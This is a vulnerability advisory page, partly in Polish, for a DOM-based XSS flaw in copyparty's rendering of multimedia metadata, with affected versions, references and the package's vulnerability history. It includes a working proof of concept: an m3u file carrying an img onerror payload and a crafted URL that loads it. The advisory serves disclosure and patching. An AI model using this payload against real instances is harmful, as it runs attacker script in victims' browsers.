copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.m3u#EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 -
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | copyparty | < 1.18.5 | 1.18.5 |
Odnośniki
- https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr
- https://nvd.nist.gov/vuln/detail/CVE-2025-54423
- https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6
- https://github.com/9001/copyparty
- https://github.com/9001/copyparty/releases/tag/v1.18.5
- https://pypi.org/project/copyparty
- https://github.com/advisories/GHSA-9q4r-x2hj-jmvr
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N- Słabość (CWE)
CWE-79- Platforma
- Python (PyPI)
- Paczka
copyparty- Ujawniono
- 28.07.2025
- Aktualizacja
- 11.10.2026 13:19
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1277 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9q4r-x2hj-jmvr - CC BY 4.0
Historia podatności: copyparty
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 14
- Pierwsza → ostatnia
- 07.2023 08.2026
- Bez poprawki
- 1
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 3
- Średnia 8
- Niska 3
Ujawnienia w latach
- 2023: 3
- 2024: 0
- 2025: 6
- 2026: 5
-
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.